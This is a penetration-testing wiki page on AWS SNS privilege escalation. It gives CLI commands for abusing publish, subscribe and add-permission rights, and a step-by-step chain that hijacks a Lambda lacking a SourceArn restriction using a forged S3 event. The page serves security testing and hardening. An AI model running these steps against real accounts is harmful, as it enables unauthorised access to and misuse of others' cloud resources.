# AWS - SNS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## SNS

For more information check:

{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}

### `sns:Publish`

An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.

```bash
aws sns publish --topic-arn <value> --message <value>
```

**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.

### `sns:Subscribe`

An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.

```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```

**Potential Impact**: Unauthorized access to messages (sensitive info), service disruption for applications relying on the affected topic.

### `sns:AddPermission`

An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions.

```bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```

**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.


### Invoke a Lambda by abusing wildcard SNS permission (no `SourceArn`)

If a Lambda function resource-based policy allows `sns.amazonaws.com` to invoke it without restricting the source topic (`SourceArn`), any SNS topic (even in another account) can subscribe and trigger the function. An attacker with basic SNS permissions can coerce the Lambda to execute under its IAM role with attacker-controlled input.

> [!TIP]
> TODO: Can this really be done cross-account?

Preconditions
- Victim Lambda policy contains a statement like below, with NO `SourceArn` condition:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {"Service": "sns.amazonaws.com"},
      "Action": "lambda:InvokeFunction"
      // No Condition/SourceArn restriction here
    }
  ]
}
```

Abuse steps (same or cross-account)
```bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
  --region us-east-1 \
  --topic-arn "$ATTACKER_TOPIC_ARN" \
  --protocol lambda \
  --notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
  --region us-east-1 \
  --topic-arn "$ATTACKER_TOPIC_ARN" \
  --message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
```

**Potential Impact**: The victim Lambda executes with its IAM role, processing attacker-controlled input. This can be abused to make the function perform sensitive actions (e.g., write to S3, access secrets, modify resources) depending on its permissions.


{{#include ../../../../banners/hacktricks-training.md}}
